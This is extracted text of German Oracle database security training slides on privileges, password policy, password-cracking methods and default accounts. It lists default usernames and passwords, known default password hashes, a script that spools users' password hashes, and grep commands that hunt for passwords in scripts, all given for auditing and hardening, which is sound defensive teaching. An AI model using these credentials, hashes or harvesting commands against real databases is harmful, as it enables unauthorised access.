GRANT INHERIT PRIVILEGES ON USER <invoking_user> TO <procedure_owner>;

Beispiel (Auf ein Schema begrenzen):

GRANT INHERIT PRIVILEGES ON USER sys TO scott;

Beispiel (Auf alle Schema ausweiten):

GRANT INHERIT ANY PRIVILEGES TO scott;

Syntax zum Entziehen des Rechts:

REVOKE INHERIT PRIVILEGES ON USER <usr> FROM public|<usr>;

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 49

Security I 2 - 49

Page 94: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Neuerung bei Rechten in 12.1.0.2

Dem Benutzer SCOTT erlauben die Role my_role an PL/SQL Objekte zu vergeben:

GRANT my_role TO scott WITH DELEGATE OPTION;

MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 50

Security I 2 - 50

Page 95: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Kapitel 3Benutzer und Passwörter

Security I 3 - 1

Page 96: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Benutzerpasswörter

Sie sollten möglichst lange Kennwörter verwenden (m ehr als 10 Zeichen).

Regeln für Kennwörter

Maximal 30 Zeichen

Keine Zahl am Anfang (Ausnahme, Passwort wurde in doppelte Hochkomma gesetzt)

Groß und Kleinschreibung bis 10.2 egal (Ausnahme, Passwort wurde in doppelte Hochkomma gesetzt)

Ab Version 11.1 können Passwörter auch Klein und Großbuchstaben beinhalten

MuniQSoft GmbH Security I 3 - 2Kapitel 3 - Benutzer & Passwörter

Der Einsatz von guten Kennwörtern stellt eine der wichtigsten Aufgaben zum Schutz der Datenbank da. Sie sollten möglichst lange Kennwörter verwenden (mehr als 6 Zeichen).

Folgende Regeln gelten für KennwörterMaximal 30 ZeichenKeine Zahl am Anfang (Ausnahme, Passwort wurde in doppelte Hochkomma gesetzt)Groß und Kleinschreibung egal (Ausnahme, Passwort wurde in doppelte Hochkomma gesetzt)

Für jeden Benutzer, bis auf SYS kann bei einer bestimmten Anzahl von fehlerhaft übergebenen Passwörtern der Benutzer-Account gesperrt werden. Das bedeutet, dass dieser Account ein besonders langes und gutes Passwort bekommen sollte.

Ein Pentium 4 mit 3GHz benötigt:

* 10 Sekunden für 5-ascii-character-combinations* 5 Minuten für 6-ascii-character-combinations* 2 Stunden für 7-ascii-character-combinations* 2,1 Tage für 8-ascii-character-combinations* 57 Tage für 9-ascii-character-combinations* 4 Jahre für 10-ascii-character-combinations

Stichwörter: Benutzerpasswörter

Security I 3 - 2

Page 97: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Optimierung von Passwörtern

Schlecht sind folgende Passwörter:

Oracle_asdfg (Oracle oder Firmennamen oder Benutzernamen im Passwort) + nur erster Buchstabe g roß

"Hans Maier" (beide Wörter stehen in einem Passwort -Wörterbuch)

Elcaro_123 (oracle rückwärts)

0racl3 (Zahlen ersetzen Buchstaben i=1 e=3 o=0 …)

Bibelzitate (Sind in Wörterbuchattacken bereits im Einsatz)

O1r2a3c4l5e6 (Kombination aus einem Wort (oracle) u nd Zahlen

MuniQSoft GmbH Security I 3 - 3Kapitel 3 - Benutzer & Passwörter

Verwenden Sie also NICHT:Ihren Namen Rückwärts + Zahlen oder Sonderzeichen.Den Firmennamen / Abteilungsnamen im Passwort.Keine Namen oder Ausdrücke, die in einem Wörterbuch vorkommen können.Kombination von mehreren Wörter aus einem Wörterbuch.

Verwenden Sie lange Passwörter mit Groß und Kleinschreibung mehrfach gemischt + Sonderzeichen + Zahlen

Beispiele:

• mHggGum8_00 (mein Hund geht gerne Gassi um 8.00 (11 Stellen))• meHh_Sweetie (mein erstes Haustier hieß Sweetie (12 Stellen))• kkmPk_außer_Mir (kein kann mein Passwort knacken außer mir (15 Stellen))

Security I 3 - 3

Page 98: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Benutzerpasswörter

Keine einfachen Kennwörternamen (peter, frank, susi , mausi) vergeben (besser: Fuchs Du hast die Gans gestohlen, gib sie wieder her... =>fdhdgggswh).

Verwenden Sie keine

Vornamen (Uschi, Klaus, Susanne)

Fußball-Clubs (FCBayern)

Städtenamen (Paris, Berlin, ...)

Kosenamen (Mausi, Schnuckel, ...)

Namen die in einem Wörterbuch stehen

MuniQSoft GmbH Security I 3 - 4Kapitel 3 - Benutzer & Passwörter

Verwenden Sie nicht für alle Server die gleichen Passwörter. Wenn ein Rechner geknackt wurde, sind die anderen auch alle sofort unsicher. Auch wenn das Passwort sich nur geringfügig unterscheidet, ist es für ein Hacker unmöglich festzustellen welche Änderung durchgeführt wurde. Beispiel: Server1: Passwort: 01mybmw01

Server2: Passwort: 01my_bmw01Server3: Passwort: 01mybmw#01

Die 10 häufigsten Passwörter:

1. Name des Anwenders2. Name von Kindern, Partner oder Haustieren3. Kein Kennwort4. “Password”5. “Sommer” oder “Winter”6. “abc123”7. “123456”8. Name des Unternehmens9 “qwert” oder “asdf” (Buchstabenfolge auf der Tastatur)10. Monat des letzten Kennwortwechsels

Stichwörter: Benutzerpasswörter

Security I 3 - 4

Page 99: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Passwort ändern auf dem Client

Methode des Clients der über Netzwerk mit Server verbunden :

Verschlüsselung Client ���� Server

1. connect <user>/<pwd>

2. SQL*PLUS> password

3. ALTER USER <user> IDENTIFIED BY <pwd>;

4. UPDATE sys.user$ SET password=<HASH>, spare4=<SHA>; ����Nicht supported !!!!

5. Netzwerkverkehr verschlüsselt + ALTER USER … IDENTIFIED BY

6. Netzwerkverkehr verschlüsselt + UPDATE sys.user$

3 2

MuniQSoft GmbH Security I 3 - 5Kapitel 3 - Benutzer & Passwörter

Hinweis:

Das bedeutet, dass bei einer Änderung des Passworts auf der Client-Seite in den meisten Fällen das neue Passwort über das Netz unverschlüsselt übertragen wird. Damit ist auch das längste und beste Passwort über Netzwerk-Sniffer abgreifbar. Verschlüsseln Sie deshalb unbedingt den Netzwerkverkehr.

Security I 3 - 5

Page 100: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Abschalten des alten PWD Algorithmus

Seit Oracle 11 wird ein neuer PWD Algorithmus verwe ndet. Leider wird der alte nicht automatisch abgeschaltet .

Sie können das in der Datei der sqlnet.ora konfigur ieren

10g Clients (mit CPUOct2012) und höher

SQLNET.ALLOWED_LOGON_VERSION_SERVER=11

11g Clients Verschlüsselung verwenden (ab 11.2.0.3) :

SQLNET.ALLOWED_LOGON_VERSION_SERVER=12

11g und 12c Verschlüsselung verwenden (ab 12.1.0.2) :SQLNET.ALLOWED_LOGON_VERSION_SERVER=12a

Hier wird beim Neusetzen des Passworts sowohl die a lte 10g als auch die 11g Form des Passworts entfernt

Achtung: SQL Developer 4.0.3 unterstützt dies NICHT

MuniQSoft GmbH Security I 3 - 6Kapitel 3 - Benutzer & Passwörter

Hinweis:

Auf Clientseite gibt es den zugehörigen korrespondierenden Parameter:

SQLNET.ALLOWED_LOGON_VERSION_CLIENT

Auch dieser kann die Werte:12a für Oracle Database 12c Release 1 (12.1) 12.1.0.2 oder höher12 für den Critical Patch Updates CPUOct2012 oder später +Oracle Database 11g Authentication Protocols (Empfohlen)11 für Oracle Database 11g Authentication Protocols (dDfault)10 für Oracle Database 10g Authentication Protocols8 für Oracle8i Authentication Protocols

Hinweis:Sie bekommen eine ORA-01017 Fehlermeldung, wenn Sie sich mit einer zu niedrigen Client-Version anmelden.

Security I 3 - 6

Page 101: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Abschalten des alten PWD Algorithmus

Wenn im Parameter SQLNET.ALLOWED_LOGON_VERSION_SERVER=12[a] steht, wird die Spalte password der Tabelle sys.use r$ nicht mehr gefüllt

Damit ist der alte Algorithmus abgeschalten, es kön nen sich aber nur noch Clients mit entsprechnd hoher Version anmelden

Empfehlung von Oracle: Alle bisherigen Accounts nac h einer Migration auf Expire setzen und neu vergeben [lassen]

ALTER USER <user> PASSWORD EXPIRE;

MuniQSoft GmbH Security I 3 - 7Kapitel 3 - Benutzer & Passwörter

Testcase unter 12.1.0.2: (Jedes Mal neu anmelden !)

ALTER USER marco IDENTIFIED BY abc; SELECT name,password,spare4 FROM user$WHERE name='MARCO';

Mit SQLNET.ALLOWED_LOGON_VERSION_SERVER=12aH:962BC5437A88D9AED498DD155B4B70A2;T:04527A91D30B1A9D850D1D5DF1D6C7C3252FB6E35E51E239C1CB9F42F5559DA1E669E0DF6B982D7A45D1FDE4255C6ED8560E649AF3E9EBB06AA8D7AAA968F460FCB926F31BBFF99C0237908C42DD4C90

Mit SQLNET.ALLOWED_LOGON_VERSION_SERVER=12 S:A88A6DDF33EB3846F1B7D5075F91DE0095F9E5FDBDABC052A82353E628D8;H:962BC5437A88D9AED498DD155B4B70A2;T:5D31FC2A24536479D857696E3377229265C535D01DA39DCCA58C33827A0E01B42D1194A0F59B02DE7714825AD8F9860A0BF6F21159F4D545AB174A287BF15447054CF9A24A4D5DCDA7F14C289C3C75CC

Security I 3 - 7

Page 102: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Neue Passwortverschlüsselung in 12.1.0.2

Oracle verwendet ab 12.1.0.2 den SHA-512 Krypto-Has h für die Passwortverschlüsselung

Zuerst wird PBKDF2 incl Salt verwendet (http://de.wikipedia.org/wiki/PBKDF2) um Rainbow Ta bles und Brut Force Angriffe zu erschweren

OCI und JDBC Client in der Version 12c unterstützen diese neue Authentifizierung

MuniQSoft GmbH Security I 3 - 8Kapitel 3 - Benutzer & Passwörter

Security I 3 - 8

Page 103: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Passwort-Hackmethoden

Brute-Force Attack

Es werden alle möglichen Kombinationen von Buchstab en ausgetestet

Beispiel:

AAAA

AAAB

...

ZZZZ

Je kürzer das Passwort, desto schneller kann es gef unden werden. Passwörter mit 6 Buchstaben sind in wenigen Stunden geknackt

MuniQSoft GmbH Security I 3 - 9Kapitel 3 - Benutzer & Passwörter

Stichwörter: Passwort-Hackmethoden, Brute-Force-Attacke

Security I 3 - 9

Page 104: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Passwort-Hackmethoden

Dictionary Attacke

Alle Wörter die in einem Dictionary stehen ausprobi eren

MANAGER

CHANGE_ON_INSTALL

SYS

Hybrid Attacke

Alle Wörter die in einem Dictionary stehen werden m it Zahlen oder Sonderzeichen zusammengesetzt

SYS123

USCHI6

Mau4si

MuniQSoft GmbH Security I 3 - 10Kapitel 3 - Benutzer & Passwörter

Stichwörter: Passwort-Hackmethoden, Dictionary Attacke

Security I 3 - 10

Page 105: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Passwort-Hackmethoden

Time-memory trade-off (Rainbow Tables)

Mögliche Passwort-Hash-Strings werden vorab berechn et und dann mit dem Oracle-Passwort verglichen

Dies kann in wenigen Sekunden zum Ziel führen

Die Information über die Oracle Passwort-Hash_strin gs findet man unter sys.user$

MuniQSoft GmbH Security I 3 - 11Kapitel 3 - Benutzer & Passwörter

Hinweis: Passwort Hack unter Windows:

Das Administratorpasswort (oder jedes beliebig andere) kann zurück gesetzt werdenDazu ist nur ein Floppy-Laufwerk auf dem Rechner notwendig

Workaround• Rechnerraum absperren, Floppy ausbauen• USB-Ports deaktivieren• CD-ROM/DVD deaktivieren

Bedenken Sie auch, dass durch Manipulation des BIOS die Bootreihenfolge geändert werden kann. Schützen Sie deshalb auch BIOS z.B. durch BIOS-Passwörter.

Stichwörter: Passwort-Hackmethoden, Time-memory trade-off

Security I 3 - 11

Page 106: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Benutzeridentifizierung

Passwortidentifikation unter Windows auch externall y möglich

Prüfung durch Betriebssystem ist praktischer, aber auch gefährlicher.SHOW PARAMTER OS_AUTHENT

NAME TYPE VALUE------------------------ ------- ------os_authent_prefix string OPS$remote_os_authent boolean TRUE

CREATE USER OPS$MARCO IDENTIFIED EYTERNALLY;

Jedoch ist es durch remote_os_authent=true auch ein em unsicheren Client möglich sich u.U. in der DB anzum elden.

Besser also auf FALSE setzen.

MuniQSoft GmbH Security I 3 - 12Kapitel 3 - Benutzer & Passwörter

Stichwörter: Benutzeridentifizierung

Security I 3 - 12

Page 107: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Benutzeridentifizierung

Authentifizierung über das Netzwerk

Hier ist die Einstellung remote_os_authent unerhebl ich

Identifizierung erfolgt über Advanced Networking Op tion (via Kerberos oder DCE)

MuniQSoft GmbH Security I 3 - 13Kapitel 3 - Benutzer & Passwörter

Stichwörter: Benutzeridentifizierung

Security I 3 - 13

Page 108: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Benutzer

Nicht als SYS oder SYSTEM in der Datenbank spielen => DEMO-Account anlegen mit beschränkten Rechten.

Vergeben Sie für die Oracle-Default- User andere Pas swörter

SYS und SYSTEM

OUTLN und MDSYS

Accounts die nicht genutzt werden, sollten gesperrt werden:

Account sperren:

ALTER USER <user> ACCOUNT LOCK;

Sperrung aufheben:

ALTER USER <user> ACCOUNT UNLOCK;

MuniQSoft GmbH Security I 3 - 14Kapitel 3 - Benutzer & Passwörter

Stichwörter: Benutzer

Security I 3 - 14

Page 109: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Benutzerpasswörter (APEX)

Username Passwort

Ab Drop Lock Bedeutung

APEX_PUBLIC_USER

----- 11.1.x N N Wird für APEX verwendet. Ab 11.1 als Def ault installiert. Kann aber ab 9.2.0.2 auch bereits manuell installie rt werden.Wenn Account gelockt wird, kann APEX nicht verwendet werden!

FLOWS_FILES ----- 11.1.x N Y Benutzer für APEX Dateien. Acc ount sollte gesperrt bleiben

FLOWS_03*APEX_04*APEX_05* (derzeit Beta)

11.1.x11.2.x12.?

N Y Folgende Versionen existieren derzeit: FLOWS_016000 , FLOWS_020000, FLOWS_020200, FLOWS_030000, FLOWS_030100, FLOWS_030200, APEX_040000, APEX_040100, APEX_040200, APEX_050000

MuniQSoft GmbH Security I 3 - 15Kapitel 3 - Benutzer & Passwörter

Stichwörter: Benutzerpasswörter (APEX)

Security I 3 - 15

Page 110: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Benutzerpasswörter

Username Passwort Ab Drop Lock Bedeutung

AUDSYS <keines> 12.1 N Y Inhaber der Audit Daten

APPQQOSSYS <frei wählbar>

11.2 N Y/N Qualitätsmanagement Benutzer für RAC Server Pools

DBSNMP Wird bei Installationbestimmt

8.x N N Enterprise Manger Agent Benutzer (10g/11g)

UNIX$>export ORACLE_SID=<sid>WIN> SET ORACLE_SID=<sid>WIN> SET ORACLE_HOME=<ORACLE_HOME> WIN/UNIX> cd %ORACLE_HOME%/bin WIN/UNIX> emctl stop dbconsole

SQL> ALTER USER dbsnmp IDENTIFIED BY <new_pwd>;WIN/UNIX> cd $ORACLE_HOME/host_sid/sysman/emd

Sicherheitskopie von targets.xml erstellenIn der Datei die folgende Zeile editieren:

<Property NAME="password" VALUE="<encrypted_string>" ENCRYPTED="TRUE"/>

Ändern Sie den Wert auf das neue Passwort (Klartext) und setzen Sie ENCRYPTED auf "FALSE"

WIN/UNIX> emctl start dbconsole'

Setzen Sie nun in der Datei targets.xml ENCRYPTED auf "TRUE"

MuniQSoft GmbH Security I 3 - 16Kapitel 3 - Benutzer & Passwörter

Für die Version 9i wird folgendes Verfahren verwendet:

SNMP-Benutzer mit Connect&Resource RollePasswort ändern in Datei: snmp_rw.oraSNMP.CONNECT.<service_name>.user=<user>SNMP.CONNECT.<service_name>.password=<pwd>

Benutzer kann gelöscht werden mittels: catnsnmp.sql Neuangelegt wird er mit: catsnmp.sql

Stichwörter: Benutzerpasswörter

Security I 3 - 16

Page 111: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Benutzerpasswörter

Username Passwort Ab Drop Lock Bedeutung

CTXSYS CTXSYS 8.1.x N Y Inhaber der Media-Text-Objekte.

DIP ??? 10.1 N Y Wird für Label Security (Extra-Option) verwendet

DMSYS DMSYS 10.1 N Y Data Mining User. Ersetzt die User ODM und ODM_MTR. Wird angelegt durch das Skript:./dm/admin/odmcrtm.sql

DVF <user> 11.1 N Y Database Vault (Extra-Option)

DVSYS <user> 11.1 N Y Database Vault Administrator (Extr a-Option)

EXFSYS EXFSYS 10.1 N Y Benutzer für Expression Filter. K ann durch das Skript: @$ORACLE_HOME/rdbms/admin/catexf.sql bei Bedarf neu angelegt werden.Löschen mittels:@$ORACLE_HOME/rdbms/admin/catnoexf.sql

GSMADMIN_INTERNAL

12.1 N Y Global Data Service Manager Benutzer für Replikationsumgebungen

GSMCATUSER

12.1 N Y Global Data Service Manager Benutzer

GSMUSER 12.1 N Y Global Data Service Manager Benutzer

MuniQSoft GmbH Security I 3 - 17Kapitel 3 - Benutzer & Passwörter

Stichwörter: Benutzerpasswörter

Security I 3 - 17

Page 112: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Benutzerpasswörter (ff)

Username Passwort Ab Drop Lock Bedeutung

INTERNAL ORACLE V6.x N N Aliasname für SYS-Benutzer mit SYSDBA-RechtenPasswort ändern mit orapwd-Utility.Wird ab Version 9.1 nicht mehr unterstützt.

LBACSYS LBACYSY V8iV9i N/Y Y Oracle Label Security Benut zer. Wird angelegt durch das Skript :@?\rdbms\admin\catols.sql Gelöscht werden kann er durch catnools.sql

MDDATA ??? Ab 10g N Y Spatial und Intermedia-Benutzer

MDSYS MDSYS V8i N/Y Y Spatial und Intermedia-Benutzer mi t DBA-Rechten

MGMT_VIEW

Zufälligerzeugt

Ab 10g N N Benutzer für Enterprise Manager

MTSSYS MTSSYS V8.x N Y Benutzer für Microsoft Transactio n Server

MIGRATE MIGRATE Mig. 10=>11

N N Benutzer der Migrationsobjekte besitzt. Er ist nu r während der Migration verfügbar

MuniQSoft GmbH Security I 3 - 18Kapitel 3 - Benutzer & Passwörter

Stichwörter: Benutzerpasswörter

Security I 3 - 18

Page 113: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Benutzerpasswörter (ff)

Username Passwort Ab Drop Lock Bedeutung

ODM ODM 9i N/Y Y Data Mining Benutzer (+ ODM_MTR User) Passwörter können auch geändert werden

OJVMSYS 12.1 N Y Java Virtual Machine Benutzer

OLAPSYS OLAPSYS 9i N/Y Y Olap Benutzer

ORDSYS ORDSYS 8i N/Y Y Spatial und Intermedia-Benutzer

OWBSYS ??? 10g N/Y Y Warehouse Builder

ORDPLUGIN ORDPLUGIN 8i N/Y Y Intermedia Audio & Video Be nutzerPasswort ändern mit ALTER USER ORDPLUGIN IDENTIFIED BY <pwd>;

ORACLE_OCM

?? 11.1 ? Y Oracle Configuration Manager. Zur Kommunikation mit Metalink

MuniQSoft GmbH Security I 3 - 19Kapitel 3 - Benutzer & Passwörter

Stichwörter: Benutzerpasswörter

Security I 3 - 19

Page 114: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Benutzerpasswörter (ff)

Username Passwort Ab Drop Lock Bedeutung

OUTLN OUTLN 8.i N Y Inhaber des OUTLN-Packages mit DBA-R ollePasswort ändern mit ALTER USER OUTLN IDENTIFIED BY <pwd>;Nicht löschen, sonst können keine Constraints mehr gesetzt werden. Auch Analysen sind nicht mehr möglich. Wird angelegt durch das Skript sql.bsq

PERFSTAT PERFSTAT V8.x N Y Benutzer für Statspack Statis tiken.

RMAN oder Benuterdef.

<USERDEF> V8.x N N Eigentümer des Recovery Manager Repositories. Benutzername kann frei gewählt werden (meist jedoch RMAN)

REPADMIN REPADMIN V8.x N N Benutzer für Replikation. Pas swort ändern mit ALTER USER REPADMIN IDENTIFIED BY <pwd>;

SYSMAN OEM_TEMP EM-V2.0.x

N N Enterprise Manager Benutzer für OMSPasswort ändern mit: Skript für 8i/9i ORA_Home>\SYSMAN\Admin starten: vduResetSysman.sql

MuniQSoft GmbH Security I 3 - 20Kapitel 3 - Benutzer & Passwörter

Stichwörter: Benutzerpasswörter

Security I 3 - 20

Page 115: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Benutzerpasswörter (ff)

Username Passwort Ab Drop Lock Bedeutung

SCOTT TIGER V6.x Y Y Beispielbenutzer mit einigen Rechte n. Kann neu angelegt werden mit dem Skript:@?/RDBMS/ADMIN/scott.sql oder utlsampl.sql

SI_INFORMATN_SCHEMA

9i N/Y Y Intermedia-Benutzer

SYS <benutzer def.>

V6.x N N Inhaber der Datenbank mit allen RechtenPasswort ändern mit ALTER USER SYS IDENTIFIED BY <pwd>;

SYSTEM MANAGER oder <benutzer def.>

V6.x N N DBA der Oracle DatenbankPasswort ändern mit ALTER USER ... IDENTIFIED..

TSMSYS TSMSYS 10.2 N Y Transparent Session Migration

MuniQSoft GmbH Security I 3 - 21Kapitel 3 - Benutzer & Passwörter

Stichwörter: Benutzerpasswörter

Security I 3 - 21

Page 116: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Benutzerpasswörter (ff)

Username Passwort Ab Drop Lock Bedeutung

WKPROXY change_on_install

V9i Y Y Ultrasearch UserWird angelegt mittels: ultrasearch/admin/wk0csys.sql

WKSYS change_on_install

V9i Y Y Ultrasearch UserWird angelegt mittels: ultrasearch/admin/wk0install.sql

WMSYS WMSYS V9i N Y Workspace Manager.Wird angelegt mittels: owmctab.plbGelöscht durch: owmuinst.plb

XDB <userdef> V9i N Y Für XML Datenbank.Kann angelegt werden mittels: catqm.sqlgelöscht werden mittels catnoqm.sql

XS$NULL keins 11.1 N Y Kein eigentlicher User. Wird für interne Zwecke verwendet. Hat keine Rechte

MuniQSoft GmbH Security I 3 - 22Kapitel 3 - Benutzer & Passwörter

Stichwörter: Benutzerpasswörter

Security I 3 - 22

Page 117: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Administrationsbenutzer

Benutzer Rechte Beschreibung

SYSDBA STARTUP, SHUTDOWNCREATE DATABASERECOVER DATABASEAlle Rechte mit ADMIN Priv.

"Root" Benutzer der Datenbank.

SYSOPER STARTUP; SHUTDOWNALTER DATABASE BACKUP, ARCHIVE LOG, RECOVER.

Abgespeckter SYSDBA, der nicht auf Tabellen zugreifen darf!

SYSASM(ab 11g)

CREATE DISKGROUp, DROP DISKGROUP, …

Verwaltung der ASM Instanz (Trennung von DB und OS Administration)

SYSBACKUP(ab 12c)

für Backup & Recovery Aufgaben mittels RMAN oder SQL*Plus

SYSDG(ab 12c)

zur Verwaltung des Oracle Data Guard oder des dgmgrl Tools

SYSKM (ab 12c)

zur Verwaltung des Encryption key Managements (Transparent Data Encryption Wallet)

MuniQSoft GmbH Security I 3 - 23Kapitel 3 - Benutzer & Passwörter

Security I 3 - 23

Page 118: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Übersicht der Rechte pro Benutzer

Die drei neuen Benutzer können nicht mehr gelöscht werden

Startup/Shutdown

ALTER DBOPENMOUNTBACKUPARCHIVE LOG

RECOVERDB

SELECT auf APP Tabellen

CHANGECHARACTERSET

CREATE,DROP DB

CREATESPFILE

RESTRICTEDSESSION

Schema/GrundPrivilegien

SYSDBA(ab 8.0)

SYS

SYSOPER(ab 8.0)

Vollständig PUBLIC

SYSBACKUP(ab 12.1)

CREATE SYSBACKUP

SYSDG(ab 12.1)

SYSDG

SYSKM(ab 12.1)

SYSKM

MuniQSoft GmbH Security I 3 - 24Kapitel 3 - Benutzer & Passwörter

Welche Rechte haben die neuen Benutzer: SYSDG

•STARTUP / SHUTDOWN •ALTER DATABASE •ALTER SESSION •ALTER SYSTEM •CREATE RESTORE POINT (including GUARANTEED restore points) •CREATE SESSION •DROP RESTORE POINT (including GUARANTEED restore points) •FLASHBACK DATABASE •SELECT ANY DICTIONARY •SELECT

• X$ tables (fixed tables) • V$ and GV$ views (performance views) • APPQOSSYS.WLM_CLASSIFIER_PLAN

•DELETE • APPQOSSYS.WLM_CLASSIFIER_PLAN

•EXECUTE • SYS.DBMS_DRS

Stichwörter: SYSKM SYSBACKUPund SYSDG Rechte; SYSDG

Security I 3 - 24

Page 119: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Passwörter in Skripten

Schützen Sie Ihre Skriptverzeichnisse (Backup &Recovery, Monitoring, Datenübernahme), damit niemand Passwörter im Klartext auslesen kann

Das folgende Skript merkt sich alle Passwörter:

SPOOL passwordrestore.sql SELECT 'alter user '||username||' identified by values '''||password||''';' FROM dba_users WHERE username=upper('&&1'); SPOOL OFF

MuniQSoft GmbH Security I 3 - 25Kapitel 3 - Benutzer & Passwörter

Beispiel: (alle Dateien des aktuellen Verzeichnisses nach manager durchsuchen)root@micky>grep -n ’manager’ *.sql-- oder alle Dateien rekursiv in einem Verzeichnis durchsuchen:root@micky>find/home/oracle –name | xargs grep -n ’connect’

select uwd.username,u.account_statusfrom DBA_USERS_WITH_DEFPWD UWD, DBA_USERS Uwhere uwd.username=u.username

Stichwörter: Passwörter in Skripten

Security I 3 - 25

Page 120: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Default-Passwörter

select username "User(s) with Default Password!" fr om dba_users where password in (

'E066D214D5421CCC', -- dbsnmp '24ABAB8B06281B4C', -- ctxsys '72979A94BAD2AF80', -- mdsys 'C252E8FA117AF049', -- odm 'A7A32CD03D3CE8D5', -- odm_mtr '88A2B2C183431F00', -- ordplugins'7EFA02EC7EA6B86F', -- ordsys '4A3BA55E08595C81', -- outln 'F894844C34402B67', -- scott '3F9FBD883D787341', -- wk_proxy '79DF7A1BD138CF11', -- wk_sys '7C9BA362F8314299', -- wmsys '88D8364765FCE6AF', -- xdb 'F9DA8977092B7B81', -- tracesvr '9300C0977D7DC75E', -- oas_public 'A97282CE3D94E29E', -- websys 'AC9700FD3F1410EB', -- lbacsys 'E7B5D92911C831E1', -- rman 'AC98877DE1297365', -- perfstat '66F4EF5650C20355', -- exfsys '84B8CBCA4D477FA3', -- si_informtn_schema 'D4C5016086B2DC6A', -- sys 'D4DF7931AB130E37') -- system

